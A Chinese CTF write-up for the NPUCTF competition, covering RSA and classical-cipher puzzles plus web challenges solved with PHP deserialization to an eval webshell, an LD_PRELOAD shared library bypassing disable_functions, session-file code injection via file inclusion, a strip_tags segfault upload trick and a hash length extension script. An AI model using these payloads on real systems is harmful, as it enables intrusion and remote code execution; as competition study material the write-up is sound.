最近搞的西工大CTF,整体题目感觉挺难的,看了WP之后发现Web还有一些很新的CVE,Misc还有音频隐写,都是没接触过的东西。除了服务器不定时的尿崩之外(运维挨打),做出来了几个题,也是第一次接触CTF的Crypto吧,记录一下收获。
Misc
抽象带师
真就人均狗粉丝嗷(
Flag:NPUCTF{欢迎来到西北工业大学CTF比赛世界上最简单的比赛}
Misc就做出来一道。。。真的难
Crypto
认清形势,建立信心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import *from gmpy2 import *from secret import flagp = getPrime(25 ) e = q = getPrime(25 ) n = p * q m = bytes_to_long(flag.strip(b"npuctf{" ).strip(b"}" )) c = pow(m, e, n) print(c) print(pow(2 , e, n)) print(pow(4 , e, n)) print(pow(8 , e, n)) ''' 169169912654178 128509160179202 518818742414340 358553002064450 '''
一道RSA的题目,由于输出的数字大小也不是很大,后面一点一点做着也就做出来了。
首先p
和q
都是25bit的素数,然后给出了加密后的密文和另外三个密文。经工作室的小伙伴一提醒,发现可以利用同余的性质求解出n:
若正整数a 1 , a 2 , b 1 , b 2 a_1,a_2,b_1,b_2 a 1 , a 2 , b 1 , b 2 满足a 1 ≡ a 2 ( m o d m ) , b 1 ≡ b 2 ( m o d m ) a_1\equiv a_2(mod\space m),\space \space b_1\equiv b_2(mod\space m) a 1 ≡ a 2 ( m o d m ) , b 1 ≡ b 2 ( m o d m ) ,则a 1 b 1 ≡ a 2 b 2 ( m o d m ) a_1b_1\equiv a_2b_2(mod\space m) a 1 b 1 ≡ a 2 b 2 ( m o d m ) 。
由题意可得下面的式子(令3个密文分别为c 1 , c 2 , c 3 c_1,c_2,c_3 c 1 , c 2 , c 3 ):
{ 2 e ( m o d n ) = c 1 4 e ( m o d n ) = c 2 8 e ( m o d n ) = c 3 ⇒ 2 e = u { u ≡ c 1 ( m o d n ) u 2 ≡ c 2 ( m o d n ) u 3 ≡ c 3 ( m o d n ) \left \{ \begin{array}{c} 2^e(mod\space n)=c_1 \\ 4^e(mod\space n)=c_2 \\ 8^e(mod\space n)=c_3 \end{array} \right. \xRightarrow[]{2^e=u} \left \{ \begin{array}{c} u\equiv c_1(mod\space n) \\ u^2\equiv c_2(mod\space n) \\ u^3\equiv c_3(mod\space n) \end{array} \right.
⎩ ⎨ ⎧ 2 e ( m o d n ) = c 1 4 e ( m o d n ) = c 2 8 e ( m o d n ) = c 3 2 e = u ⎩ ⎨ ⎧ u ≡ c 1 ( m o d n ) u 2 ≡ c 2 ( m o d n ) u 3 ≡ c 3 ( m o d n )
于是就可以建立一组等式:
{ u 3 ≡ u × u 2 ≡ c 1 c 2 ≡ c 3 ( m o d n ) u 2 ≡ u × u ≡ c 1 2 ≡ c 2 ( m o d n ) u 3 ≡ u × u × u ≡ c 1 3 ≡ c 3 ( m o d n ) \left \{ \begin{array}{c} u^3\equiv u\times u^2\equiv c_1c_2\equiv c_3(mod\space n) \\ u^2\equiv u\times u\equiv c_1^2\equiv c_2(mod\space n) \\ u^3\equiv u\times u\times u\equiv c_1^3\equiv c_3(mod\space n) \end{array} \right.
⎩ ⎨ ⎧ u 3 ≡ u × u 2 ≡ c 1 c 2 ≡ c 3 ( m o d n ) u 2 ≡ u × u ≡ c 1 2 ≡ c 2 ( m o d n ) u 3 ≡ u × u × u ≡ c 1 3 ≡ c 3 ( m o d n )
由同余定义,得n ∣ c 1 c 2 − c 3 , n ∣ c 1 2 − c 2 , n ∣ c 1 3 − c 3 n|c_1c_2-c_3,\space\space n|c_1^2-c_2,\space\space n|c_1^3-c_3 n ∣ c 1 c 2 − c 3 , n ∣ c 1 2 − c 2 , n ∣ c 1 3 − c 3 ,也就是说这三个结果都是n n n 的倍数。接下来如果想办法找到它们的公因数,就可以找到n n n 了。(n n n 是素数)
果然我发现了这个网站:http://www.factordb.com/index.php ,可以在线分解一个数找到它所有的因数。一遍操作得到下面的结果:
1 2 3 66672960872896203079532492230 = 2 · 5 · 18195301 · 28977097 · 12645488853859 16514604249963278194010942464 = 2^10 · 7 · 373 · 11715133 · 18195301 · 28977097 2122277922854727695321455521983198683925958 = 2 · 3 · 569 · 18195301 · 28977097 · 154996903 · 7606793031330667
发现了公因数18195301 18195301 1 8 1 9 5 3 0 1 和28977097 28977097 2 8 9 7 7 0 9 7 ,都是素数,所以应该就是p p p 和q q q 了,验证一下,发现都是25bit,所以得到了n n n 的值:527247002021197 527247002021197 5 2 7 2 4 7 0 0 2 0 2 1 1 9 7 。
接下来就是求解e e e 的值。写了一个Python脚本爆破,可能因为数据小吧,爆了半个小时直接爆出来了:
1 2 3 4 5 for i in range(1 , 1000000001 ): if i % 1000000 == 0 : print("Start " +str(i)) if pow(2 , i, n) == 128509160179202 and pow(4 , i, n) == 518818742414340 and pow(8 , i, n) == 358553002064450 : print(i)
解出e = 808723997 e=808723997 e = 8 0 8 7 2 3 9 9 7 。后面看到另一个师傅的WP,用了一个看不太懂的算法,以后慢慢琢磨:http://0xdktb.top/2020/04/19/WriteUp-NPUCTF-Crypto/#认清形势建立信心
然后常规求解d ≡ e − 1 ( m o d ϕ ( n ) ) d\equiv e^{-1}(mod\space \phi(n)) d ≡ e − 1 ( m o d ϕ ( n ) ) ,用扩展的欧几里得算法求解:
d = − 211826053314667 ( m o d ϕ ( n ) ) = 315420901534133 d=-211826053314667(mod\space \phi(n))=315420901534133 d = − 2 1 1 8 2 6 0 5 3 3 1 4 6 6 7 ( m o d ϕ ( n ) ) = 3 1 5 4 2 0 9 0 1 5 3 4 1 3 3 ,故明文m = c d ( m o d n ) = 219919251745 m=c^d(mod\space n)=219919251745 m = c d ( m o d n ) = 2 1 9 9 1 9 2 5 1 7 4 5 ,转成字符串得到345y!
,所以flag为npuctf{345y!}
。
这是什么觅🐎
附件一个压缩包,解压下来只有一张图片:
只有一步没想到。。。后来看了WP发现这么简单。。。
首先下面纸条上面的一行字,字母代表星期的首字母,由于周六和周日、周二和周四的首字母重复了(就这里没想到。。。),所以用S1
、S2
和T1
、T2
表示,于是就可以得到一串数字3 1 12 5 14 4 1 18
,映射到字母表得到flag为flag{calendar}
。
Classical Cipher
这题应该是古典密码,给了一个带密码的压缩包和一个txt:
解密后的flag请用flag{}包裹
压缩包密码:gsv_pvb_rh_zgyzhs
对应明文: ***_key_**_******
丢到这个网站 里面一解,发现用仅有的三个明文密文的对应关系,可以猜测到前面三个单词为the key is
,于是再次求解,得到三个结果,一个一个试,发现密码是the_key_is_atbash
。
搜索一下发现是Atbash密码,就是将字母表倒转之后形成的对应关系,比如A->Z,B->Y……,Y->B,Z->A
,再根据这个进行加解密即可。
解开压缩包后拿到一张图片:
这是古埃及象形文字编码和猪圈密码的合体,对应字母的关系如下:
解出flag:flag{classicalcode}
Web
查源码
最简单的题,网页屏蔽了F12和右键的操作,直接抓包或者加view-source:
可以看见源代码拿到flag(忘记截图了,贴一张别人的):
RealEzPHP
打开页面中什么信息也没有,于是查看源码,发现time.php?source
,访问拿到PHP源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class HelloPhp { public $a; public $b; public function __construct () { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct () { $a = $this ->a; $b = $this ->b; echo $b($a); } } $c = new HelloPhp; if (isset ($_GET['source' ])){ highlight_file(__FILE__ ); die (0 ); } @$ppp = unserialize($_GET["data" ]);
是一道反序列化的题目,然后有命令执行,于是本地构造序列化字符串,一开始试system()
、shell_exec()
啥的都没有反应,然后试了file_get_contents()
可以执行,于是再试了一下phpinfo()
:O:8:"HelloPhp":2:{s:1:"a";i:-1;s:1:"b";s:7:"phpinfo";}
,直接在phpinfo()
中找到flag:
当然我一开始肯定不是这样做的。。。不然就不会有后面的东西了
无意间瞥到disable_functions
中禁用了一大堆函数:
然后又灵光一现,去试了一下eval()
和assert()
,eval
由于是语言结构不能用在可变函数上,但是可以assert(eval(code))
来执行任意PHP代码。于是构造字符串O:8:"HelloPhp":2:{s:1:"a";s:19:"eval($_POST["aaa"])";s:1:"b";s:6:"assert";}
,就可以挂蚁剑了,可以上传文件,只不过一大堆命令执行不了,还是有很多限制。
于是就想去绕过disable_functions
的限制来getshell。搜了半天搜到这个https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD ,使用Linux系统的环境变量LD_PRELOAD
劫持系统函数,从而实现绕过disable_functions
限制实现任意命令执行。大概原理就是用C/C++写动态链接库.so
,里面定义和一些系统函数同名的函数,写入恶意内容,再通过间接的调用这些函数来实现。
里面大概说的就是PHP里面的mail()
和error_log()
函数都会执行系统函数getuid()
,因此只需要重写getuid()
的代码,再编译成共享链接库,传到网站上去,就可以了。
这篇文章说的很详细了:https://xz.aliyun.com/t/4623 ,我用之前的那个发现还是没有反应,可能是因为上面那个只用了mail()
的原因吧。后面参考使用了error_log()
函数(要求type为1),成功执行了命令:
1 2 3 4 <?php putenv("LD_PRELOAD=./test.so" ); error_log("test" ,1 ,"" ,"" ); ?>
1 2 3 4 5 6 7 8 9 10 11 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("ls > test.txt" ); } int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }
然后我又折腾了一番,发现蚁剑有现成的插件可以用。。。😂用起来挺方便的,直接生成了一个不受限制的PHP文件,直接访问就可以拿到webshell了:
然后cat /FIag_!S_it
,拿到假flag:NPUCTF{this_is_not_a_fake_flag_but_true_flag}
然后就没有然后了。。。。。当时找flag找自闭了。。。
超简单的PHP!!!超简单!!!
打开页面,和前一题一模一样,然后在源码里面发现位置index.bak.php
,访问之后弹出来一个留言板,此时发现可疑参数action
,估计是有文件包含(真就抽象呗):
先到处看了一下,Index就是之前的首页,然后还有一个tips会显示phpinfo,看了一下Message的源码,发现POST消息到msg.php
:
1 2 3 4 5 $.get ("./msg.php",function(rst){flash(rst);}) $("#sendMsg" ).click(function ( ) { txt=$("#msg" ).val(); $.post("./msg.php" ,{msg :txt},function (rst ) {flash(rst);}); });
于是就借助参数action
,试了一下伪协议,成功使用php://filter/read=convert.base64-encode/resource=
读到所有文件的源码。
首先是index.bak.php
:
1 2 3 4 5 6 7 8 <?php session_start(); if (isset ($_GET['action' ])){ include $_GET['action' ]; exit (); } else { header("location:./index.bak.php?action=message.php" ); }
msg.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php header('content-type:application/json' ); session_start(); function safe ($msg) { if (strlen($msg)>17 ){ return "msg is too loooong!" ; } else { return preg_replace("/php/" ,"?" ,$msg); } } if (!isset ($_SESSION['msg' ])&empty ($_SESSION['msg' ]))$_SESSION['msg' ] = array ();if (isset ($_POST['msg' ])){ array_push($_SESSION['msg' ], ['msg' =>safe($_POST['msg' ]),'time' =>date('Y-m-d H:i:s' ,time())]); echo json_encode(array (['msg' =>safe($_POST['msg' ]),'time' =>date('Y-m-d H:i:s' ,time())])); exit (); } if (!empty ($_SESSION['msg' ])){ echo json_encode($_SESSION['msg' ]); } else {echo "还不快去留言!" ;} ?>
发现留言的内容会被保存在session中,而保存在session中就意味着会以序列化对象的形式保存在session的临时文件(位于/tmp
)里面,再加上上面的文件包含,就可以实现任意命令执行了。
关于PHP的session序列化方式,在另一篇文章 里面有提到。当然在这也不是重点,重点是往里面填入PHP代码。
msg.php
里面有限制,要求传入消息的长度不能大于17,而且屏蔽了php关键字,因此不能一次性写所有命令,要分开写。参考了一下其他师傅的WP,可以使用换行符\n
+注释#
来实现,也可以在非代码的地方包上/**/
来实现,以下是代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestssession = requests.session() url = "http://39.101.167.56:28028/msg.php" cookies = {"session" : "6ae17247-53f3-4ac4-b419-fb63814ecc28.Ty_3FbzG99sbFHyITrswaOuq1ek" , "PHPSESSID" : "hd36m74o0s6g5ce7fhv8lcef85" } headers = {"User-Agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" , "Accept" : "*/*" , "Accept-Language" : "en-US,en;q=0.5" , "Accept-Encoding" : "gzip, deflate" , "Referer" : "http://ha1cyon-ctf.fun:30135/index.bak.php?action=message.php" , "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" , "X-Requested-With" : "XMLHttpRequest" , "Connection" : "close" } data = {"msg" : "<?PhP \n#" } session.post(url, headers=headers, cookies=cookies, data=data) data = {"msg" : "\n$a=$_GET;#" } session.post(url, headers=headers, cookies=cookies, data=data) data = {"msg" : "\neval($a[1]);#" } session.post(url, headers=headers, cookies=cookies, data=data) data = {"msg" : "\n ?>" } session.post(url, headers=headers, cookies=cookies, data=data) url = "http://39.101.167.56:28028/index.bak.php?action=/tmp/sess_hd36m74o0s6g5ce7fhv8lcef85&1=print_r(scandir('/'));print_r(file_get_contents('/FIag_!S_it'));" r=session.get(url, headers=headers, cookies=cookies) print(r.text)
如上面代码所示,最后将session文件包含进来,然后执行任意命令,phpinfo里面禁用了system()
等等一些函数,所以使用scandir()
来获取文件目录,再file_get_contents()
拿到flag:
由于是在复现环境下,再贴一个session文件的内容吧:
flag:NPUCTF{this_is_not_fl4g_it_is_flag}
后来看另一个师傅的WP,发现还有一种思路:<https://coomrade.github.io/2018/10/26/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9Bgetshell%E5%A7%BF%E5%8A%BF/ >
大概就是说,当存在包含文件的地方使用php://filter/string.strip_tags
会造成Segment Fault返回500(要求PHP<7.2):
而如果同时上传一个任意文件上去的话,会被永久的存在PHP的临时文件目录。下面是我复现的结果:
构造文件上传:
1 2 3 4 <form action ="http://39.101.167.56:28028/index.bak.php?action=php://filter/string.strip_tags/resource=msg.php" method ="POST" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" /> </form >
然后写个马传上去,显然是没有反应的,所以BurpSuite返回No response received from remote server.
然后去查看靶机的临时目录,发现文件就在里面:
可以看见,上传的文件名是有一定规律的:php+6位字母/数字
,成本稍微有点大,但是也不是不可以,所以在实际环境下,这里就选择爆破了(Intruder给的爆破量是965660736
):
这样就是花的时间长一点。。。别的也还行
ezinclude
打开页面显示username/password error
,查看源码发现注释<!--md5($secret.$name)===$pass -->
,故想到Hash长度扩展攻击。四处翻看,在Cookie里面找到Hash值。
Hashpump一把梭:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import osimport requestsimport hashpumpyimport urllib.parseurl = "http://fbe86dba-df41-4b99-8347-e473f69745cf.node3.buuoj.cn" md5 = "973225ae4fc8977f86d1a330b0774630" for i in range(65 ): passwd, name = hashpumpy.hashpump(md5, "admin" , "admin" , i) print(i, passwd, name) r = requests.get(url+"?name=" +urllib.parse.quote(name)+"&pass=" +passwd) if "error" not in r.text: print(r.text) break
查看输出,找到flflflflag.php
:
(后面看了PHP源码才知道,默认name
为空,所以输出的Hash值就已经满足md5($secret.$name)===$pass
的要求,所以只需要直接填入pass
即可。)
浏览器访问flflflflag.php
直接跳转到404页面,估计用了JS做跳转,所以用curl,拿到hintinclude($_GET["file"])
。
尝试了一波,发现做了一些过滤,但是php://filter/read=convert.base64-encode/resource=
可以用,于是可以读出所有文件的源码,发现果然过滤了一些关键字:
1 2 3 4 5 6 7 8 <?php $file=$_GET['file' ]; if (preg_match('/data|input|zip/is' ,$file)){ die ('nonono' ); } @include ($file); echo 'include($_GET["file"])' ;?>
于是后续就可以直接用上面的php://filter/string.strip_tags
来上传文件了。后来看官方WP发现有个dir.php
,可以展示/tmp
目录下的文件名,也就是说不需要爆破,直接可以包含。
后面的套路就和上面两题类似了,写马上传文件,最后在phpinfo里找到flag: